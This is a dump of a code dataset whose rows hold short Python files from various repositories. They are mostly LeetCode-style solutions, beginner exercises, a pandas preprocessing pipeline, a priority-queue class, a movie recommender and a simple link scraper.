blob_id
string
repo_name
string
path
string
length_bytes
int64
score
float64
int_score
int64
text
string
04e067fb7386348b192b8e2345e8ded4a7b3dc87
marlberm2014/svn_user_extractor
/Source/FileReader.py
1,379
3.59375
4
import os class FileReader(): def __init__(self): self.lineList = [] def replace_lineList(self, currLineList): newLineList = [] for line in currLineList: lineArr = line.split() newLineList.append(lineArr[1] + "," + lineArr[0]) self.lineList = newLineList def process_email(self): ext_list = [] for line in self.lineList: line = line.replace("\n","") ext_list.append(line) self.replace_lineList(ext_list) return self.lineList def open_file(self,filepath): file = None if os.path.exists(filepath): file = open(filepath,'r') with file as line: self.lineList = line.readlines() line.close() return self.lineList else: print("FILE " + filepath + " DOES NOT EXIST!") return self.lineList def read_file(self,filepath): file = None if os.path.exists(filepath): file = open(filepath,'r') with file as line: self.lineList = line.readlines() line.close() return self.lineList else: print("FILE " + filepath + " DOES NOT EXIST!") return self.lineList
93068ff9edb15358a8a9b7f133fd5abecb430c1a
tony89824396/Udacity-CS101
/lesson3/Palindrome.py
93
3.6875
4
word="adc" word1=word[::-1] is_palindrome =word.find(word1) # TESTING print is_palindrome
f34267aa7da010710d60d18b712b67fc18f45524
Zahidsqldba07/competitive-programming-1
/Leetcode/Problems/p7.py
1,344
3.734375
4
# Given a 32-bit signed integer, reverse digits of an integer. def reverse(x: int) -> int: min_int = -2**31 max_int = 2**31 - 1 negative = True if x < 0 else False if not negative: result = int(str(x)[::-1]) else: result = -1 * int(str(-x)[::-1]) if min_int <= result <= max_int: return result else: return 0 # result = 0 # min_int = -2**31 # max_int = 2**31 - 1 # while x != 0: # last_digit = x % 10 # x //= 10 # if result > max_int // 10 or (result == max_int // 10 and last_digit > 7): # print("gets to a, result is", result) # return 0 # if result < min_int // 10 or (result == min_int // 10 and last_digit < -8): # print("gets to b, result is", result) # return 0 # result = result * 10 + last_digit # print("result is", result) # # if min_int <= result <= max_int: # return result # else: # return 0 # return result testcases = [1, 123, 0, 321, -123, 120, 1534236469] true_answers = [1, 321, 0, 123, -321, 21, 0] assert len(testcases) == len(true_answers) for i in range(len(testcases)): true = true_answers[i] obtained = reverse(testcases[i]) if true != obtained: print(f"Should be {true} but was {obtained}")
608b7e6a04fb2274545e6cf0e3e4f58b20224897
lilyandcy/python3
/leetcode/nextPermutation.py
449
3.671875
4
class Solution: def nextPermutation(self, nums): """ :type nums: List[int] :rtype: void Do not return anything, modify nums in-place instead. """ import itertools permutations = sorted(set(itertools.permutations(nums))) if tuple(nums) == permutations[-1]: nums[:] = list(permutations[0]) else: nums[:] = list(permutations[permutations.index(tuple(nums))+1])
c65501c5edf03d3a1ec87d3b354f146cfd2a8c73
nlakritz/codingbat-python-solutions
/string-2/end_other.py
131
3.65625
4
def end_other(a, b): a = a.lower() b = b.lower() if a[len(b)*-1:] == b or b[len(a)*-1:] == a: return True return False
d73baebf3de4278c93502f91a413462c9a0fdca6
morita657/Algorithms
/Leetcode_solutions/intersection-of-two-arrays.py
1,182
3.921875
4
class Solution: def set_intersection(self, set1, set2): return [x for x in set1 if x in set2] def intersection(self, nums1, nums2): """ :type nums1: List[int] :type nums2: List[int] :rtype: List[int] """ set1 = set(nums1) set2 = set(nums2) if len(set1) < len(set2): return self.set_intersection(set1, set2) else: return self.set_intersection(set2, set1) class Solution: def intersection(self, nums1, nums2): """ :type nums1: List[int] :type nums2: List[int] :rtype: List[int] """ res, set1, visited = [], set(nums1), set() for e in nums2: if e in set1 and e not in visited: res.append(e) visited.add(e) elif e not in set1: visited.add(e) return res class Solution: def intersection(self, nums1: List[int], nums2: List[int]) -> List[int]: numSet1 = set(nums1) numSet2 = set(nums2) seen = [] for i in numSet2: if i in numSet1: seen.append(i) return seen
1ceea47014d26bdddf95f31ee83db5383302618d
NielsHoogeveen1990/Customer-segmentation
/src/navara/preprocessing.py
7,972
3.546875
4
import pandas as pd import numpy as np from functools import reduce from navara.utils import log_step def read_data(data_path): """ Get data by specifying a datapath where the data is stored. The different dataframes will be read first and subsequently, the duplicates will be dropped. :param data_path: data path of the CSV file :return: dataframe """ df_1 = pd.read_csv(f'{data_path}/data_1.csv').drop_duplicates(subset=['codering']) df_2 = pd.read_csv(f'{data_path}/data_2.csv').drop_duplicates(subset=['codering']) df_3 = pd.read_csv(f'{data_path}/data_3.csv').drop_duplicates(subset=['codering']) dfs = [df_1, df_2, df_3] return reduce(lambda left, right: pd.merge(left, right, on=['codering', 'Unnamed: 0', 'gemeentenaam']), dfs) def drop_irrelevant_features(df): """ This function drops irrevalant features that are not required in the model. :param df: dataframe :return: dataframe """ cols = ['Unnamed: 0', 'id', 'codering', 'woningkenmerken', 'id_old'] return df.drop(columns=list(cols)) def drop_rows(df): """ This function drops the entire rows where the amount of inhabitants is less than 10. :param df: dataframe :return: dataframe """ return df.drop(df[abs(df['aantal_inwoners'])<10].index) def drop_missing_values_columns(df): """ This function drops features that contain too many missing values. :param df: dataframe :return: dataframe """ cols = ['elect_appartement', 'elect_tussenwoning', 'elect_hoekwoning', 'elect_twee_onder_een_kap_woning', 'aard_appartement', 'aard_tussenwoning', 'aard_hoekwoning', 'aard_twee_onder_een_kap_woning', 'percentage_woningen_met_stadsverwarming', 'gemiddeld_inkomen_per_inkomensontvanger', 'gemiddeld_inkomen_per_inwoner'] return df.drop(columns=list(cols)) def make_numeric_features_absolute(df): """ This function makes all numeric features absolute. :param df: dataframe :return: dataframe """ return df.apply(lambda d: d.abs() if np.issubdtype(d.dtype, np.number) else d) def transform_skewed_data(df): """ This function transforms certain columns to create a more normal or symmetric distribution. :param df: dataframe :return: dataframe """ return df.assign( aantal_inwoners = lambda d: np.log1p(d['aantal_inwoners']), stadsverwarming=lambda d: np.log1p(d['stadsverwarming']), mannen=lambda d: np.log1p(d['mannen']), vrouwen=lambda d: np.log1p(d['vrouwen']), k_0_tot_15_jaar=lambda d: np.log1p(d['k_0_tot_15_jaar']), k_15_tot_25_jaar=lambda d: np.log1p(d['k_15_tot_25_jaar']), k_25_tot_45_jaar=lambda d: np.log1p(d['k_25_tot_45_jaar']), k_45_tot_65_jaar=lambda d: np.log1p(d['k_45_tot_65_jaar']), k_65_jaar_of_ouder=lambda d: np.log1p(d['k_65_jaar_of_ouder']), huishoudens_totaal=lambda d: np.log1p(d['huishoudens_totaal']), eenpersoonshuishoudens=lambda d: np.log1p(d['eenpersoonshuishoudens']), huishoudens_zonder_kinderen=lambda d: np.log1p(d['huishoudens_zonder_kinderen']), huishoudens_met_kinderen=lambda d: np.log1p(d['huishoudens_met_kinderen']), gemiddelde_huishoudensgrootte=lambda d: np.log(d['gemiddelde_huishoudensgrootte']), bevolkingsdichtheid=lambda d: np.log1p(d['bevolkingsdichtheid']), woningvoorraad=lambda d: np.log1p(d['woningvoorraad']), gemiddelde_woningwaarde=lambda d: np.log(d['gemiddelde_woningwaarde']), in_bezit_woningcorporatie=lambda d: np.log1p(d['in_bezit_woningcorporatie']), in_bezit_overige_verhuurders=lambda d: np.log1p(d['in_bezit_overige_verhuurders']), eigendom_onbekend=lambda d: np.log1p(d['eigendom_onbekend']), bouwjaar_voor_2000=lambda d: np.log((d['bouwjaar_voor_2000'].max()+1) - d['bouwjaar_voor_2000']), bouwjaar_vanaf_2000=lambda d: np.log1p(d['bouwjaar_vanaf_2000']), gemiddeld_elektriciteitsverbruik_totaal=lambda d: np.sqrt(d['gemiddeld_elektriciteitsverbruik_totaal']), elect_huurwoning=lambda d: np.log(d['elect_huurwoning']), gemiddeld_aardgasverbruik_totaal=lambda d: np.sqrt(d['gemiddeld_aardgasverbruik_totaal']), aantal_inkomensontvangers=lambda d: np.log1p(d['aantal_inkomensontvangers']), k_40_huishoudens_met_laagste_inkomen=lambda d: np.sqrt(d['k_40_huishoudens_met_laagste_inkomen']), k_20_huishoudens_met_hoogste_inkomen=lambda d: np.sqrt(d['k_20_huishoudens_met_hoogste_inkomen']), personen_per_soort_uitkering_bijstand=lambda d: np.log1p(d['personen_per_soort_uitkering_bijstand']), personenautos_brandstof_benzine=lambda d: np.log1p(d['personenautos_brandstof_benzine']), personenautos_overige_brandstof=lambda d: np.log1p(d['personenautos_overige_brandstof']), oppervlakte_land=lambda d: np.log1p(d['oppervlakte_land']), omgevingsadressendichtheid=lambda d: np.log1p(d['omgevingsadressendichtheid']), bedrijfsvestigingen_totaal=lambda d: np.log1p(d['bedrijfsvestigingen_totaal']), type_a_landbouw_bosbouw_visserij=lambda d: np.log1p(d['type_a_landbouw_bosbouw_visserij']), type_bf_nijverheid_energie=lambda d: np.log1p(d['type_bf_nijverheid_energie']), type_gi_handel_horeca=lambda d: np.log1p(d['type_gi_handel_horeca']), type_hj_vervoer_informatie_communicatie=lambda d: np.log1p(d['type_hj_vervoer_informatie_communicatie']), type_kl_financiele_diensten_onroerendgoed=lambda d: np.log1p(d['type_kl_financiele_diensten_onroerendgoed']), type_mn_zakelijke_dienstverlening=lambda d: np.log1p(d['type_mn_zakelijke_dienstverlening']), type_ru_cultuur_recreatie_overige_diensten=lambda d: np.log1p(d['type_ru_cultuur_recreatie_overige_diensten']), aantal_installaties_bij_woningen=lambda d: np.log1p(d['aantal_installaties_bij_woningen']), aantal_zonnepanelen_per_installatie=lambda d: np.log1p(d['aantal_zonnepanelen_per_installatie']), opgesteld_vermogen_van_zonnepanelen=lambda d: np.log1p(d['opgesteld_vermogen_van_zonnepanelen']), totaal_aantal_laadpalen=lambda d: np.log1p(d['totaal_aantal_laadpalen']), werkloosheidsuitkering_relatief=lambda d: np.log1p(d['werkloosheidsuitkering_relatief']), bijstandsuitkering_relatief=lambda d: np.log1p(d['bijstandsuitkering_relatief']), arbeidsongeschiktheidsuitkering_relatief=lambda d: np.log1p(d['arbeidsongeschiktheidsuitkering_relatief']), inwoners_vanaf_15_jaar=lambda d: np.log1p(d['inwoners_vanaf_15_jaar']), inwoners_vanaf_15_jr_tot_aow_leeftijd=lambda d: np.log1p(d['inwoners_vanaf_15_jr_tot_aow_leeftijd']), inwoners_vanaf_de_aow_leeftijd=lambda d: np.log1p(d['inwoners_vanaf_de_aow_leeftijd']) ) def create_categorical_combinations(df): """ This function creates combinations of two categorical features, as input for feature hashing in the machine learning pipeline. :param df: dataframe :return: dataframe """ return df.assign( gemeentenaam_regio=lambda d: d['gemeentenaam']+d['soort_regio'] ) @log_step def get_df(data_path): return (read_data(data_path) .pipe(drop_irrelevant_features) .pipe(drop_rows) .pipe(drop_missing_values_columns) .pipe(make_numeric_features_absolute) .pipe(transform_skewed_data) .pipe(create_categorical_combinations) ).drop(columns=['gemeentenaam', 'soort_regio']) @log_step def get_original_df(data_path): return (read_data(data_path) .pipe(drop_irrelevant_features) .pipe(drop_rows) .pipe(drop_missing_values_columns) .pipe(make_numeric_features_absolute) )
f305e9a8b31d3d62bfb5dfd0729b81377de1030f
AlmazMardukhanov/Python
/less2/10.6.py
194
3.828125
4
sum=0 while True: x=input('Введите число или "Стоп": ') if str(x)=='Стоп': break else: sum+=int(x) print('Сумма чисел = ',sum)
e4bd60fd564da459c510129f8de2ebdeecce7ea0
snail15/AlgorithmPractice
/LeetCode/Python/SecondRound/121_bestTimeToBuyAndSellStock.py
955
4.3125
4
# Say you have an array for which the ith element is the price of a given stock on day i. # If you were only permitted to complete at most one transaction(i.e., buy one and sell one share of the stock), design an algorithm to find the maximum profit. # Note that you cannot sell a stock before you buy one. # Example 1: # Input: [7, 1, 5, 3, 6, 4] # Output: 5 # Explanation: Buy on day 2 (price=1) and sell on day 5 (price=6), profit = 6-1 = 5. # Not 7-1 = 6, as selling price needs to be larger than buying price. # Example 2: # Input: [7, 6, 4, 3, 1] # Output: 0 # Explanation: In this case, no transaction is done, i.e. max profit = 0. def maxProfit(prices): """ :type prices: List[int] :rtype: int """ minPrice = float('inf') maxProfit = 0 for price in prices: minPrice = min(minPrice, price) maxProfit = max(maxProfit, price - minPrice) return maxProfit
f4b568c05885db9cefc17876db371513fb30ae82
1473211439/autoTest
/tjd/wechat/test.py
1,000
3.71875
4
import math; # 题目:有1、2、3、4个数字,能组成多少个互不相同且无重复数字的三位数?都是多少? for i in range(1,5): for j in range(1,5): for k in range(1,5): if(i!=k and i!=j and j!=k): # print("the number is %d%d%d" % (i,j,k)) print(i,j,k); for i in range(10000): #转化为整型值 x = int(math.sqrt(i + 100)) y = int(math.sqrt(i + 268)) if(x * x == i + 100) and (y * y == i + 268): print("the num is :",i) l = [] for i in range(3): x = int(input('integer:\n')) l.append(x) l.sort() # print("__:",l) def fib(n): a,b=1,1 for i in range(n-1): a,b=b,a+b return a print('fib',fib(10)) i = int(input('净利润:')) arr = [1000000,600000,400000,200000,100000,0] rat = [0.01,0.015,0.03,0.05,0.075,0.1] r = 0 for idx in range(0,6): if i>arr[idx]: r+=(i-arr[idx])*rat[idx] print((i-arr[idx])*rat[idx]) i=arr[idx] print(r)
8e094e273d8b624d2bd3cfeaa99854bd0e22d6b0
ShakibUddin/Scrapper-Web-Crawler-Projects
/BookLink.py
1,375
3.546875
4
from urllib.request import Request,urlopen from bs4 import BeautifulSoup from urllib.error import HTTPError import re def getData(url,tag=None,key=None,value=None): try: html = urlopen(url) #incase of Forbidden HTTPError message use below code #req = Request(url) #html = urlopen(req) except HTTPError as e: print("Http error -->"+e.msg) return None try: bsObject = BeautifulSoup(html, "html.parser") #dont bring links outside of given div data = bsObject.find(tag, {key:value}).find_all("a", attrs={'href': re.compile("^http://"),'href': re.compile("^https://")}) #bring all links for given tags in given url #data = bsObject.find_all("a", attrs={'href': re.compile("^http://"),'href': re.compile("^https://")}) except AttributeError as e: print("Attribute error") return None return data def get_data_from_site(site_name,site_url,tag=None,key=None,value=None): data = getData(site_url,tag,key,value) if data is None: print("Data was not found") else: print(f"Links collected = {len(data)}, website = \"{site_name}\"") for link in data: print(link.get_text() + " -->> " + link['href']) get_data_from_site("Programming-book.com","https://www.programming-book.com/","div","id","navigation")
0c7e107bf53a2184d584ac2787d794e76f8cba46
mfuentesg/problem-solving
/daily-coding-problem/problem_02.py
550
3.953125
4
""" Difficulty: Hard Given an array of integers, return a new array such that each element at index i of the new array is the product of all the numbers in the original array except the one at i. For example, if our input was [1, 2, 3, 4, 5], the expected output would be [120, 60, 40, 30, 24]. If our input was [3, 2, 1], the expected output would be [2, 3, 6] """ def solve(items): total = 1 for i in items: total = total * i return [total // item for item in items] print(solve([1, 2, 3, 4, 5])) print(solve([3, 2, 1]))
99dd00a9f509cda11514e3b03feb6971dc2c91ec
endar-firmansyah/learning
/multiplyall.py
421
4.46875
4
# Python program to multiply all values in the list using traversal def multiplyList(myList) : # Multiply elements one by one result = 3 for x in myList: result = result * x return result # Driver code list1 = [1, 2, 3] list2 = [3, 2, 4] #list1 = float(input("Type for list1 number: ")) #list2 = float(input("Type for list2 number: ")) print(multiplyList(list1)) print(multiplyList(list2))
42fb2108f90af16f067f6f72bd3769ec969ce75f
Aasthaengg/IBMdataset
/Python_codes/p03289/s009570086.py
442
3.5625
4
import string s=string.ascii_lowercase s+="C" S=input() buttanA=False buttanB=False buttanC=True for i in range(len(S)): if S[0]=="A": buttanA=True if S[i]=="C" and 2<=i<len(S)-1: if buttanB==False: buttanB=True else: print("WA") exit() if S[i] not in s and 1<=i<len(S): buttanC=False if buttanA==buttanB==buttanC==True: print("AC") else: print("WA")
84d46c0b7653070ec67ada1f57addb32cf5c26f4
autumnalkitty/python_work
/Hello/test/Step08_Set.py
1,275
3.59375
4
# -*- coding:utf-8 -*- ''' [set] 1. 순서가 부재 2. 중복 비허용 3. 집합(묶음)과 유사 ''' set1={10, 20, 30, 40, 50} # 데이터 추가하기 set1.add(60) set1.add(70) # 중복된 데이터는 삽입 불가 set1.add(70) set1.add(60) set1.add(10) # 저장된 개수는 len() 메소드를 이용 print "len(set1):", len(set1) set2={60, 70, 80, 90, 100} # set1 합집합 set2 result1=set1.union(set2) # set1 교집합 set2 result2=set1.intersection(set2) # set1 차집합 set2 result3=set1-set2 # 동물의 집합 animalSet={'cat','dog','snake','lion','tiger'} # 집합에서 특정값 삭제 animalSet.discard('snake') # .discard() 는 삭제할 데이터가 없으면 무시한다. animalSet.discard('elephant') # 삭제하는 방법2 animalSet.remove('cat') # .remove() 는 삭제할 데이터가 없으면 예외(Except)를 발생 시킨다. # animalSet.remove('frog') # 모든 내용 삭제 animalSet.clear() nameSet={'lee','kim'} list1=['park','song'] tuple1=('jo', 'nam') # set 에 list 나 tuple 을 병합시킬 수 있다. nameSet.update(list1) nameSet.update(tuple1) print nameSet # 반복문 돌면서 모든 값 하나씩 사용해 보기 for tmp in nameSet: print tmp
867894bfff6a9941b1f0de19187c58be0f0613b1
pranavraj101/python-
/list_user_input.py
229
3.859375
4
print('Input some values seprated by commas') values=input() list=values.split(',') tuple=tuple(list) for i in range(0,len(list)): list[i]=int(list[i]) print("List:",list) print("Tuple:",tuple) l=[3,34,4,5,5,6] print(list+l)
4a5077e5cdf94578d935f67f9fefd64e278313fd
sweeneyde/IndexedHeap
/indexedheap.py
3,955
3.703125
4
import pyheapq from collections import defaultdict class IndexedHeap: """A priority queue with the ability to modify existing priority. >>> h = IndexedHeap(['1A', '0B', '5C', '2M']) >>> h.pop() 'B' >>> h.peek() 'A' >>> h.change_weight('M', '6') >>> h.pushpop('W', '7') 'A' >>> h.poppush('R', '8') 'C' >>> [h.pop() for _ in range(len(h))] ['M', 'W', 'R'] """ def __init__(self, iterable=()): self.heap = _IndexedWeightList(map(tuple, iterable)) pyheapq.heapify(self.heap) def __len__(self): return len(self.heap) def __contains__(self, item): return (item in self.heap) def push(self, item, weight): pyheapq.heappush(self.heap, (weight, item)) def pop(self): weight, item = pyheapq.heappop(self.heap) return item def peek(self): weight, item = self.heap[0] return item def pushpop(self, item, weight): # First push, then pop. weight, item2 = pyheapq.heappushpop(self.heap, (weight, item)) return item2 def poppush(self, item, weight): # First pop, then push. weight, item2 = pyheapq.heapreplace(self.heap, (weight, item)) return item2 def change_weight(self, item, weight): i = self.heap.index(item) old_weight, item = self.heap[i] self.heap[i] = weight, item if weight < old_weight: pyheapq.siftdown(self.heap, 0, self.heap.index(item)) elif weight > old_weight: pyheapq.siftup(self.heap, self.heap.index(item)) def __bool__(self): return bool(self.heap) class _IndexedWeightList(list): """A list of (weight, item) pairs, along with the indices of each "item". We maintain an auxiliary dict consisting of, for each item, the set of indices of that item. Each set will typically have just one index, but we do not enforce this because the heapq module updates multiple entries at the same time. You could say that this class has all of the functionality of priority queue, but without the prioritization. >>> arr = _IndexedWeightList(['1A', '0B', '5C', '2M']) >>> arr _IndexedWeightList(['1A', '0B', '5C', '2M']) >>> arr[2] '5C' >>> arr[0], arr[3] = arr[3], arr[0] >>> arr _IndexedWeightList(['2M', '0B', '5C', '1A']) >>> arr.append('6D') >>> arr _IndexedWeightList(['2M', '0B', '5C', '1A', '6D']) >>> [arr.index(x) for x in 'ABCDM'] [3, 1, 2, 4, 0] >>> arr.remove('B') Traceback (most recent call last): ... TypeError: 'NoneType' object is not callable >>> pyheapq.heapify(arr) >>> arr.index('B') 0 """ def __init__(self, iterable=()): super().__init__(iterable) self._index = defaultdict(set) for i, (weight, item) in enumerate(super().__iter__()): self._index[item].add(i) def __setitem__(self, i, pair): weight, item = pair old_weight, old_item = super().__getitem__(i) self._index[old_item].remove(i) self._index[item].add(i) super().__setitem__(i, pair) def index(self, item, start=..., stop=...) -> int: only, = self._index[item] return only def __contains__(self, item): return bool(self._index[item]) def append(self, pair): super().append(pair) weight, item = pair self._index[item].add(len(self) - 1) def extend(self, iterable): for pair in iterable: self.append(pair) def pop(self, i=...): weight, item = super().pop() self._index[item].remove(len(self)) return weight, item def __repr__(self): return '{}({})'.format(self.__class__.__qualname__, str(list(self))) insert = None remove = None __delitem__ = None sort = None if __name__ == "__main__": import doctest doctest.testmod()
d05f21c9ccacd773e1b5675a6bae2cc33057c0c6
igorvalamiel/material-python
/Exercícios - Mundo 2/058.py
329
3.78125
4
from random import choice print('') print('Tente acertar o número escolhido pelo computador (de 0 a 10)!') a = list(range(0, 11)) b = choice(a) c = int(input('Seu palpite:')) d = 1 while b != c: c = int(input('Tente de novo:')) d += 1 print(f'Parabéns! O número escolhido foi {b} e você acertou com {d} tentativas!')
9bf7189e0e0208671771a94f9f9cf0ea6c73b3d5
jdh00127/movie_recommend
/movie_recommendation.py
6,882
3.53125
4
import re import os import math import pandas as pd #✨중요 pandas 다운로드 받아야함 ✨중요 def main(): data = pd.read_csv("tmdb_5000_movies.csv", encoding = "CP949") #data 갯수 4799개 print(data) data = data.sort_values(["popularity"], ascending=[False]) print(data) genres = data.pop("genres") #장르(여러개로 되어있음) keywords = data.pop("keywords") #키워드(여러개로 되어있음) ori_lan = data.pop("original_language") #언어 popularity = data.pop("popularity") #인기도 title = data.pop("title") #제목 vote_aver = data.pop("vote_average") #평균 평점 vote_count = data.pop("vote_count") #평점 개수 print(title) # id, name 구조형으로 되어 있는 형태에서 Value만 뽑아서 문자열로 만듬... for i in range(len(genres)): genres[i] = modify_data(genres[i]) keywords[i] = modify_data(keywords[i]) favorite_movies = [] for i in range(3): #나중에 입력 개수 바꾸기! favorite_movies.append(input("재미있게 보았던 영화를 입력하세요:")) fgen_dict, fkw_dict, flan_dict = create_BOW(favorite_movies, title.tolist(), [genres.tolist(),keywords.tolist(),ori_lan.tolist()]) boring_movies = [] for i in range(3): #나중에 입력 개수 바꾸기! boring_movies.append(input("지루했던 영화를 입력하세요:")) bgen_dict, bkw_dict, blan_dict = create_BOW(boring_movies, title.tolist(), [genres.tolist(),keywords.tolist(),ori_lan.tolist()]) print(fgen_dict, fkw_dict, flan_dict) #확인용 print(bgen_dict, bkw_dict, blan_dict) #확인용 # key = 영화제목, value = 스코어 (장르추천점수 - 장르비추천점수 + 키워드추천점수 - 키워드비추천점수) recommend_dict = {} for i in range(len(genres)): # 장르 점수 비교 alpha = 0.1 prob1 = 0.5 prob2 = 0.5 genres_prob_pair = naive_bayes(fgen_dict, bgen_dict, genres[i], alpha, prob1, prob2) # 키워드 점수 비교 alpha = 0.1 prob1 = 0.5 prob2 = 0.5 keyword_prob_pair = naive_bayes(fkw_dict, bkw_dict, keywords[i], alpha, prob1, prob2) recommend_dict[title[i]] = genres_prob_pair[0] - genres_prob_pair[1] + keyword_prob_pair[0] - keyword_prob_pair[1] if(i % 500 == 0): print(i) print("") print("") print("추천 영화를 알려드릴께요.... 영화제목(점수)") print("") i = 0 for title,score in sorted(recommend_dict.items(), key =lambda recommend_dict:-recommend_dict[1]): if title in favorite_movies: i += 0 else: i += 1 print ("Top Rank ", i, "= [", title,"] (",score*50, "점)") if(i >= 20): break; def naive_bayes(t1_dict, t2_dict, test_dict, alpha, prob1, prob2): t1_text = make_dictionary_to_text(t1_dict) t2_text = make_dictionary_to_text(t2_dict) test_text = make_list_to_text(test_dict) # Exercise training_model_pos = create_sentence_BOW(t1_text) training_model_neg = create_sentence_BOW(t2_text) testing_model = create_sentence_BOW(test_text) classify1 = calculate_doc_prob(training_model_pos, testing_model, alpha) classify2 = calculate_doc_prob(training_model_neg, testing_model, alpha) return normalize_log_prob(classify1, classify2) def read_text_data(directory): # We already implemented this function for you files = os.listdir(directory) files = [f for f in files if f.endswith('.txt')] all_text = '' for f in files: all_text += ' '.join(open(directory + f).readlines()) + ' ' return all_text def make_dictionary_to_text(dictionary): all_text = '' for key, value in dictionary.items(): all_text = all_text + ' ' + key return all_text def make_list_to_text(vlist): all_text = '' for i in range(len(vlist)): all_text = all_text + ' ' + vlist[i] return all_text def read_text(directory): all_text = '' for f in files: all_text += ' '.join(open(directory + f).readlines()) + ' ' return all_text def normalize_log_prob(prob1, prob2): #계산 간단하게 maxprob = max(prob1, prob2) prob1 -= maxprob prob2 -= maxprob prob1 = math.exp(prob1) prob2 = math.exp(prob2) normalize_constant = 1.0 / float(prob1 + prob2) prob1 *= normalize_constant prob2 *= normalize_constant return (prob1, prob2) def calculate_doc_prob(training_model, testing_model, alpha): #베이즈정리에 의한 계산 logprob = 0 num_tokens_training = sum(training_model[1]) num_words_training = len(training_model[0]) for word in testing_model[0]: word_freq = testing_model[1][testing_model[0][word]] word_freq_in_training = 0 if word in training_model[0]: word_freq_in_training = training_model[1][training_model[0][word]] for i in range(0, word_freq): logprob += math.log(word_freq_in_training + alpha) logprob -= math.log(num_tokens_training + num_words_training * alpha) return logprob def create_sentence_BOW(sentence): bow_dict = {} bow = [] sentence = sentence.lower() sentence = replace_non_alphabetic_chars_to_space(sentence) words = sentence.split(' ') for token in words: if len(token) < 1: continue if token not in bow_dict: new_idx = len(bow) bow.append(0) bow_dict[token] = new_idx bow[bow_dict[token]] += 1 return bow_dict, bow def replace_non_alphabetic_chars_to_space(sentence): return re.sub(r'[^a-z]+', ' ', sentence) def modify_data(list_df): list_df = list_df.split(",") new_df = [] for i in range(len(list_df)): if i%2 == 1: list_df[i] = list_df[i].lstrip(' "name": "').rstrip('"}]') new_df.append(list_df[i]) return new_df def create_BOW(movies, title, features): gen_dict, kw_dict, lan_dict = {}, {}, {} for m in movies: mindex = title.index(m) genre = features[0][mindex] keyword = features[1][mindex] lan = features[2][mindex] for gen in genre: if gen not in gen_dict: gen_dict[gen] = 1 else : gen_dict[gen] += 1 for kw in keyword: if kw not in kw_dict: kw_dict[kw] = 1 else : kw_dict[kw] += 1 for lang in lan: if lang not in lan_dict: lan_dict[lang] = 1 else : lan_dict[lang] += 1 return gen_dict, kw_dict, lan_dict if __name__ == "__main__": main()
398dede051dfdcd9a524dd522dc677a8da565b84
AloriumTechnology/AloriumTech_CircuitPython_EvoM51
/examples/neo_blue.py
530
3.546875
4
""" `neo_blue` ======================================================== Copyright 2020 Alorium Technology Contact: info@aloriumtech.com Description: This is a very simple CircuitPython program that turns the Evo M51 NeoPixel blue. """ from aloriumtech import board, digitalio, neopixel neo = neopixel.NeoPixel(board.NEOPIXEL, 1) neo.brightness = 0.1 led = digitalio.DigitalInOut(board.D13) led.direction = digitalio.Direction.OUTPUT led.value = False print("NeoPixel Blue") while True: led.value = False neo[0] = (0, 0, 255)
9d37d6a56f50c96916cbaad8d782860cb373b59d
radhey24h/python
/learn-python/mapfilterreduce/filter_function.py
202
3.78125
4
def greater_then_two(n): if n > 2: return True else: return False h1 = [1, 2, 3, 4, 5, 6, 7, 8, 9] greater_numbers = filter(greater_then_two, h1) print(list(greater_numbers))
887c979c663a05f973e5d445a770f723780cfa11
SimonSlominski/Pybites_Exercises
/Pybites/272/strings.py
752
4.09375
4
from typing import List def common_words(sentence1: List[str], sentence2: List[str]) -> List[str]: """ Input: Two sentences - each is a list of words in case insensitive ways. Output: those common words appearing in both sentences. Capital and lowercase words are treated as the same word. If there are duplicate words in the results, just choose one word. Returned words should be sorted by word's length. """ result = list(set([word for word in _set_words_lower(sentence1) if word in _set_words_lower(sentence2)])) return sorted(result, key=len) def _set_words_lower(sentence): return [word.lower() for word in sentence]
fdb2a4ca537356f43e3f5013701ba04abd3a30c9
app-stack/l3codingpractice
/Demo_stopW.py
2,978
3.8125
4
from tkinter import * # from tkinter import as Tkinter import time # Our GUI is defined here root = Tk() # best to use root so you have menus! root.title("Demo Stopwatch"); f = Frame(root); # f for frame! f.pack(anchor = 'center', pady = 5); root.minsize(width=260, height=80); # root.geometry("200x300"); stop_start = False; # we haven't started yet def btnstop(): global stop_start stopBtn['state'] = 'disabled' # disable the stop button once clicked startBtn['state'] = 'normal' # on click start button should be available stop_start = False # stopwatch is paused def btnstart(): global stop_start stop_start = True # stopwatch is running oldtime = time.time() # get current timestamp includes milisecs # initialising values for minutes and hours mins = 0; hrs = 0; not_Sixty = 0; not_Sixty_mins = 0; minsReplacer = ""; secsReplacer = ""; # we need to be in a loop to be able to count up or down, here up while (stop_start): root.update() # update the GUI secs = time.time() - oldtime # constantly display new remains seconds startBtn['state'] = 'disabled' # on click stop button should be available stopBtn['state'] = 'normal' # disable the start button once clicked # setting some values to start cur_secs = secs - not_Sixty; cur_mins = mins - not_Sixty_mins; # operations to display 0 or 00 if cur_secs < 10: secsReplacer = "0" else: secsReplacer = "" if mins < 10: minsReplacer = "" else: minsReplacer = "" # timer counting operations if cur_mins == 60: not_Sixty_mins += 60 hrs += 1 if cur_secs > 60: not_Sixty += 60 mins += 1 # label displays current time elapsed t_Start.config(text = str(hrs) + ":" + minsReplacer + str(cur_mins) + ":" + secsReplacer + str(round(cur_secs, 1))); # label creation to displayed whatever we want at the start """Pack packs widgets in rows or columns. We can use options like fill, expand, and side to control this geometry manager.""" t_Start = Label(f, text = "00:00:00", font = ('Comic Sans MS', 20, 'bold')); t_Start.pack(); # buttons creation startBtn = Button(f, text = "Start", width = 6, font = ('Comic Sans MS', 10, 'bold'), command = lambda: btnstart()); startBtn.pack(side = "left"); stopBtn = Button(f, text = "Stop", width = 6, state = 'disabled', font = ('Comic Sans MS', 10, 'bold'), command = btnstop); stopBtn.pack(side = "left"); quitBtn = Button(f, text = "Quit", width = 6, font = ('Comic Sans MS', 10, 'bold'), command = root.destroy); quitBtn.pack(side = "left"); # run the GUI App root.mainloop()
064f96ea036c83e32f75ea45cf99541b62b6391d
Hironobu-Kawaguchi/atcoder
/atcoder/arc011_2.py
476
3.828125
4
# https://atcoder.jp/contests/arc011/tasks/arc011_2 N = input() words = input().split() rule = 'zrbcdwtjfqlvsxpmhkng' d = {} for i in range(10): x,y = rule[2*i:2*i+2] d[x] = str(i) d[y] = str(i) def convert(word): res = '' for char in word.lower(): if char not in d: continue res += d[char] return res words = [convert(word) for word in words] words = [word for word in words if word] print(*words)
b29f1be8ea90b476cbbd07ed50139a62b7ad9de9
gautam-rangarajan/leetcode
/getIntersectionNode.py
1,346
3.6875
4
